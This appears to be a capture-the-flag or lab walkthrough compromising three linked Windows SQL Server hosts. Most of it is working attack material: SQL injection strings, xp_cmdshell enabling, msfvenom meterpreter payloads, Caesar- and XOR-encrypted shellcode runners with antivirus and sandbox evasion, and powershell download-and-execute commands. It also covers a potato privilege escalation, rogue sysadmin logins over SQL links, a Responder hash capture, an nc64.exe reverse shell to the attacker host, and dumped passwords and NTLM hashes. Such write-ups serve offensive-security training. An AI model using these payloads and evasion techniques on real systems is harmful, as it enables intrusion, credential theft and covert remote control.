

192.168.X.140

80/tcp open http Microsoft IIS httpd 10.0

| http-cookie-flags:

| /:

| ASPSESSIONIDCCTQQRBR:

|_ httponly flag not set

| http-methods:

|_ Potentially risky methods: TRACE

|_ http-server-header: Microsoft-IIS/10.0

|_ http-title: Music Inventory

1433/tcp open ms-sql-s Microsoft SQL Server 15.00.2000.00

| ms-sql-ntlm-info:

| Target_Name: SQL11

| NetBIOS_Domain_Name: SQL11

| NetBIOS_Computer_Name: SQL11

| DNS_Domain_Name: sql11

| DNS_Computer_Name: sql11

|_ Product_Version: 10.0.17763

| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback

| Not valid before: 2021-02-07T09:11:12

|_ Not valid after: 2051-02-07T09:11:12

|_ ssl-date: 2021-02-07T09:43:54+00:00; 0s from scanner time.

3389/tcp open ms-wbt-server Microsoft Terminal Services

| rdp-ntlm-info:

| Target_Name: SQL11

| NetBIOS_Domain_Name: SQL11

| NetBIOS_Computer_Name: SQL11

| DNS_Domain_Name: sql11

| DNS_Computer_Name: sql11

| Product_Version: 10.0.17763

|_ System_Time: 2021-02-07T09:43:49+00:00

| ssl-cert: Subject: commonName=sql11

| Not valid before: 2021-02-06T09:10:35

|_ Not valid after: 2021-08-08T09:10:35

|_ ssl-date: 2021-02-07T09:43:54+00:00; 0s from scanner time.

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| ms-sql-info:

| 192.168.X.140:1433:

| Version:

| name: Microsoft SQL Server

| number: 15.00.2000.00

| Product: Microsoft SQL Server

|_ TCP port: 1433

192.168.X.141

1433/tcp open ms-sql-s Microsoft SQL Server 15.00.2000.00

| ms-sql-ntlm-info:

| Target_Name: SQL27

| NetBIOS_Domain_Name: SQL27

| NetBIOS_Computer_Name: SQL27

| DNS_Domain_Name: sql27

| DNS_Computer_Name: sql27

|_ Product_Version: 10.0.17763

| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback

| Not valid before: 2021-02-07T09:11:56

|_ Not valid after: 2051-02-07T09:11:56

|_ ssl-date: 2021-02-07T09:46:13+00:00; -25s from scanner time.

3389/tcp open ms-wbt-server Microsoft Terminal Services

| rdp-ntlm-info:

| Target_Name: SQL27

| NetBIOS_Domain_Name: SQL27

| NetBIOS_Computer_Name: SQL27

| DNS_Domain_Name: sql27

| DNS_Computer_Name: sql27

| Product_Version: 10.0.17763

|_ System_Time: 2021-02-07T09:46:07+00:00

| ssl-cert: Subject: commonName=sql27

| Not valid before: 2021-02-06T09:11:18

|_ Not valid after: 2021-08-08T09:11:18

|_ ssl-date: 2021-02-07T09:46:13+00:00; -25s from scanner time.

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|_ clock-skew: mean: -25s, deviation: 0s, median: -26s

| ms-sql-info:

| 192.168.X.141:1433:

| Version:

| name: Microsoft SQL Server

| number: 15.00.2000.00

| Product: Microsoft SQL Server

|_ TCP port: 1433

192.168.X.142

1433/tcp open ms-sql-s Microsoft SQL Server 15.00.2000.00

| ms-sql-ntlm-info:

| Target_Name: SQL53

| NetBIOS_Domain_Name: SQL53
| NetBIOS_Computer_Name: SQL53
| DNS_Domain_Name: sql53
| DNS_Computer_Name: sql53
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-02-07T09:11:06
|_ Not valid after: 2051-02-07T09:11:06
|_ ssl-date: 2021-02-07T10:11:14+00:00; -51s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: SQL53
| NetBIOS_Domain_Name: SQL53
| NetBIOS_Computer_Name: SQL53
| DNS_Domain_Name: sql53
| DNS_Computer_Name: sql53
| Product_Version: 10.0.17763
|_ System_Time: 2021-02-07T10:11:11+00:00
| ssl-cert: Subject: commonName=sql53
| Not valid before: 2021-02-06T09:10:30
|_ Not valid after: 2021-08-08T09:10:30
|_ ssl-date: 2021-02-07T10:11:14+00:00; -51s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|_ clock-skew: mean: -51s, deviation: 0s, median: -51s
| ms-sql-info:
| 192.168.X.142:1433:
| Version:
| name: Microsoft SQL Server
| number: 15.00.2000.00
| Product: Microsoft SQL Server
|_ TCP port: 1433

This is the music inventory currently available

Please login to view the content

Username:

Password:

Submit

Then we can bypass login with this in username and password:

' or 1=1; -- -

Then we can search stuff and ' gives internal server error

Let's find out number of columns:

' union select 1;-- gives error

' union select 1,2; -- works so 2 columns

Then we find out that it's the first column that is vulnerable:

' union select @@version,2; --

Gives: Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) Sep 24 2019 13:48:23 Copyright (C) 2019 Microsoft Corporation Express Edition (64-bit) on Windows Server 2019 Standard 10.0 (Build 17763:) (Hypervisor)

' union select DB_NAME(),2; --

Gives: music

' union select current_user,2; --

Gives: dbo

' union select name,2 from master..sysdatabases; --

Gives:

Artist name: master - From the year: 2

Artist name: model - From the year: 2

Artist name: msdb - From the year: 2

Artist name: music - From the year: 2

Artist name: tempdb - From the year: 2

Then we can extract tables from music database with:

' union select name,2 from music..sysobjects WHERE xtype = 'U'-- gives:

Artist name: songs - From the year: 2

Artist name: users - From the year: 2

' union select name,2 from syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')-- gives:

Song name: id - From the year: 2

Song name: name - From the year: 2

Song name: pass - From the year: 2

' union select name,2 from users--

Artist name: admin - From the year: 2

Artist name: alice - From the year: 2

Artist name: brett - From the year: 2

Artist name: eric - From the year: 2

Artist name: peter - From the year: 2

' union select pass,2 from users--

Artist name: 123pass123 - From the year: 2

Artist name: dfdg34fdsf3 - From the year: 2

Artist name: mypassword - From the year: 2

Artist name: password - From the year: 2

So we have:

Admin:123pass123

Alice:dfdg34fdsf3

Brett:mypassword

Eric:mypassword

Peter:password

Let's enable xp_cmdshell

```
' ; EXEC sp_configure 'show advanced options',1;--
```

```
' ; RECONFIGURE;--
```

```
' ; EXEC sp_configure 'xp_cmdshell',1;--
```

```
' ; RECONFIGURE;--
```

Then we confirm we have code execution:

```
tcpdump -i tun0 icmp
```

```
' ; EXEC master.dbo.xp_cmdshell 'ping -n 2 192.168.X.Y';--
```

Tried some powershell reverse shell with amsi but doesn't work. Maybe constrained language mode is blocking me

Then I can upload an aspx file to webroot and go and trigger it, so we do:

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx
```

Then I open aspx and add encryption to it. So we first use this caesar encrypt helper:

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace CaesarEncrypt
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[685] {shellcodeHere };

            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)((((uint)buf[i] + 5) & 0xFF));
            }
            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            foreach (byte b in encoded)
            {
                hex.AppendFormat("0x{0:x2}, ", b);
            }
            Console.WriteLine("The payload is: " + hex.ToString());
        }
    }
}
```

Then in 3.aspx, I modify it to this:

```
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
    private static Int32 MEM_COMMIT=0x1000;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32
flAllocationType, IntPtr flProtect);
```

```

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr
lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId);

[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling
= true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();

protected void Page_Load(object sender, EventArgs e)
{
    IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4,
0);
    if(mem == null)
    {
        return;
    }

    byte[] oe7hnH0 = new byte[685] {encryptedShellCodeHere };

    for(int i = 0; i < oe7hnH0.Length; i++)
    {
        oe7hnH0[i] = (byte)((((uint)oe7hnH0[i] - 5) & 0xFF);
    }

    IntPtr uKVv = VirtualAlloc(IntPtr.Zero, (UIntPtr)oe7hnH0.Length, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
    System.Runtime.InteropServices.Marshal.Copy(oe7hnH0, 0, uKVv, oe7hnH0.Length);
    IntPtr xE34tIARIB = IntPtr.Zero;
    IntPtr iwuox = CreateThread(IntPtr.Zero, UIntPtr.Zero, uKVv, IntPtr.Zero, 0, ref xE34tIARIB);
}
</script>

```

So we added the VirtualAllocExNuma which is a non-emulated API call

Then we add the decryption routine of the caesar after the encrypted shellcode.

Then we run:

```

'; EXEC master.dbo.xp_cmdshell "powershell.exe iwr -uri http://192.168.X.Y/3.aspx -o
C:\inetpub\wwwroot\3.aspx";--

```

Then to trigger it, we go to: <http://192.168.X.140/2.aspx>

```
meterpreter > getuid
Server username: IIS APPPOOL\IIS v4.5 Classic
meterpreter > sysinfo
Computer      : SQL11
OS            : Windows 2016+ (10.0 Build 17763).
Architecture  : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
meterpreter >
```

In C:\inetpub\wwwroot, we find the creds: ConnString="DRIVER={SQL Server};SERVER=localhost;UID=webapp11;PWD=89543dfGDFGH4d;DATABASE=music"

Since we are IIS appool, we have SeImpersonatePrivilege
So let's priv esc using the potato.

To priv esc, I need an exe that can give an msf. So let's create this:

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
```

```
namespace gimmeshell
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    }
}
```



```

[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);

private static byte[] xor(byte[] cipher, byte[] key)
{
    byte[] xored = new byte[cipher.Length];

    for (int i = 0; i < cipher.Length; i++)
    {
        xored[i] = (byte)(cipher[i] ^ key[i % key.Length]);
    }

    return xored;
}

static void Main(string[] args)
{
    DateTime t1 = DateTime.Now;
    Sleep(4000);
    double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
    if (t2 < 1.5)
    {
        return;
    }

    string key = "a70f8922029506d2e37f375fd638cdf9e2c039c8a1e6e01189eeb4efb";
    byte[] xorbuf = { xoredShellCodeHere };
    byte[] buf = xor(xorbuf, Encoding.ASCII.GetBytes(key));
    int size = buf.Length;

    IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
    Marshal.Copy(buf, 0, addr, size);
    IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
    IntPtr.Zero, 0, IntPtr.Zero);
    WaitForSingleObject(hThread, 0xFFFFFFFF);

}
}
}

```

To generate the encrypted shellcode with XOR, I do:

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f raw -o shell.bin
root@kali:~/Ogimmeshellec/Lab# python xorenrypt.py shell.bin
```

```
c:\windows\tasks\Print.exe \\.pipe\test\pipe\spoolss
Then Ctrl+Z
Then in meterpreter, type shell to get into a new channel
Then run: c:\windows\tasks\SpoolSample.exe sql11 sql11/pipe/tests
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
```

```
Then Ctrl+z
Then channel -i 4 (this was the channel id when we did ctrl+z above)
Then we see:
Found sid S-1-5-18
Impersonated user is: NT AUTHORITY\SYSTEM
```

So let's check sessions -l, and we have a new shell as system!

```
more c:\users\administrator\desktop\proof.txt
59f136d2fd6f609a3c3e3698b51e0524 (admin on SLQ11 machine)
```

```
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 5c3e856f452d9cecc5801a954ab22122
```

```
IEX (New-Object Net.WebClient).DownloadString('http://192.168.X.Y:8081/PowerUpSQL.ps1')
```

```
Get-SQLServerInfo -Verbose -Instance "SQL11\SQLEXPRESS"
ComputerName      : SQL11
Instance         : SQL11\SQLEXPRESS
DomainName       : WORKGROUP
ServiceProcessID : 3480
ServiceName      : MSSQL$SQLEXPRESS
ServiceAccount   : LocalSystem
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption : 0
Clustered        : No
SQLServerVersionNumber : 15.0.2000.5
```

SQLServerMajorVersion : 2019
SQLServerEdition : Express Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsVersionNumber : SQL
Currentlogin : NT AUTHORITY\SYSTEM
IsSysadmin : No
ActiveSessions : 1

On this box, we have TotalAV installed: C:\Users\Administrator\Documents\TotalAV\

In loginform.asp, we find:

```
ConnString="DRIVER={SQL  
Server};SERVER=localhost;UID=webapp11;PWD=89543dfGDFGH4d;DATABASE=music"
```

Get-SQLServerInfo -Verbose -Instance "SQL11\SQLEXPRESS" -username webapp11 -
password 89543dfGDFGH4d
VERBOSE: SQL11\SQLEXPRESS : Connection Success.

ComputerName : SQL11
Instance : SQL11\SQLEXPRESS
DomainName : WORKGROUP
ServiceProcessID : 3480
ServiceName : MSSQL\$SQLEXPRESS
ServiceAccount : LocalSystem
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption : 0
Clustered : No
SQLServerVersionNumber : 15.0.2000.5
SQLServerMajorVersion : 2019
SQLServerEdition : Express Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsMachineType : ServerNT
OSVersionName : Windows Server 2019 Standard
OsVersionNumber : SQL
Currentlogin : webapp11
IsSysadmin : Yes
ActiveSessions : 1

So this user is syadmin.

Get-SqlServerLinkCrawl -Verbose -Instance "SQL11\SQLEXPRESS" -username webapp11 -password 89543dfGDFGH4d

Gives:

Version : SQL Server 2019
Instance : SQL11\SQLEXPRESS
CustomQuery :
Sysadmin : 1
Path : {SQL11\SQLEXPRESS}
User : webapp11
Links : {SQL27, SQL53}

Version : SQL Server 2019
Instance : SQL27\SQLEXPRESS
CustomQuery :
Sysadmin : 1
Path : {SQL11\SQLEXPRESS, SQL27}
User : webappGroup
Links : {SQL53}

Version : SQL Server 2019
Instance : SQL53\SQLEXPRESS
CustomQuery :
Sysadmin : 1
Path : {SQL11\SQLEXPRESS, SQL53}
User : testAccount
Links : {SQL27}

Version :
Instance : Broken Link
CustomQuery :
Sysadmin :
Path : {SQL11\SQLEXPRESS, SQL27, SQL53}
User :
Links : {}

Version : SQL Server 2019
Instance : SQL27\SQLEXPRESS
CustomQuery :
Sysadmin : 1
Path : {SQL11\SQLEXPRESS, SQL53, SQL27}
User : webappGroup
Links : {SQL53}

Version :
Instance : Broken Link
CustomQuery :
Sysadmin :
Path : {SQL11\SQLEXPRESS, SQL53, SQL27, SQL53}
User :
Links : {}

Then to make it easier, we login with mssqlclient from impacket:

```
python3 mssqlclient.py webapp11@192.168.X.140
```

Then let's try to compromise the links. So I create a new user and add to sysadmin:

```
EXEC ('EXEC sp_addlogin "rulon", "password123!"') at [SQL27];
```

```
EXEC ('EXEC sp_addsrvrolemember "rulon", "sysadmin"') at [SQL27];
```

```
python3 mssqlclient.py rulon@192.168.X.141
```

```
SQL> enable_xp_cmdshell
```

```
[*] INFO(SQL27\SQLEXPRESS): Line 185: Configuration option 'show advanced options'  
changed from 1 to 1. Run the RECONFIGURE statement to install.
```

```
[*] INFO(SQL27\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0  
to 1. Run the RECONFIGURE statement to install.
```

```
SQL> xp_cmdshell whoami
```

```
Sql27\sqlsvc
```

```
SQL> xp_cmdshell "more c:\users\administrator\desktop\proof.txt"
```

```
output
```

```
43ee2d2866e4e2180b3ea72d9d10bce6
```

Then we can catch hash with: `.\Responder.py -l tun0`

And then:

```
SQL> xp_dirtree '\\192.168.X.Y\';
```

```
[SMB] NTLMv2-SSP Hash :
```

```
sqlsvc::SQL27:b7404671ef1536ff:BBDF62247511F9A01FF46E5870B0C43E:01010000000000  
00C0653150DE09D201172B1DE823818006000000000200080053004D004200330001001E00  
570049004E002D00500052004800340039003200520051004100460056000400140053004D0  
0420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039
```

[illegible]

But then I get shell instead with:

```
SQL> xp_cmdshell "powershell.exe iwr -uri http://192.168.X.Y:8081/nc64.exe -o c:\windows\tasks\nc64.exe"
```

```
SQL> xp_cmdshell "c:\windows\tasks\nc64.exe 192.168.X.Y 444 -e cmd.exe"
```

Then we can spawn a meterpreter with:

Then I am sysadmin on SQL27:

```
Get-SqlServerInfo -Verbose -Instance "SQL27\SQLEXPRESS"
VERBOSE: SQL27\SQLEXPRESS : Connection Success.
```

```
ComputerName      : SQL27
Instance          : SQL27\SQLEXPRESS
DomainName        : WORKGROUP
ServiceProcessID  : 3524
ServiceName        : MSSQL$SQLEXPRESS
ServiceAccount     : .\sqlsvc
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption   : 0
Clustered          : No
SQLServerVersionNumber : 15.0.2000.5
SQLServerMajorVersion : 2019
SQLServerEdition    : Express Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture      : X64
OsMachineType       : ServerNT
OSVersionName        : Windows Server 2019 Standard
OsVersionNumber      : SQL
Currentlogin         : SQL27\sqlsvc
IsSysadmin           : Yes
ActiveSessions       : 2
```

RID : 000001f4 (500)

User : Administrator

LM :

NTLM : 1d310a09718a536402a69eced08829bd

RID : 000003e9 (1001)

User : sqlsvc

LM :

NTLM : 2d8c2e4d68497df820a044f05bf35bed

Then to reach SQL53, I can do this from sql11 in mssqlclient:

EXECUTE('sp_configure "show advanced options",1;reconfigure;') AT SQL53

EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT SQL53

EXECUTE('sp_addlogin "rulon","abc123!") AT SQL53

EXECUTE('sp_addsrvrolemember "rulon","sysadmin") AT SQL53

more proof.txt

3651616a6f9307b319311d167b19832a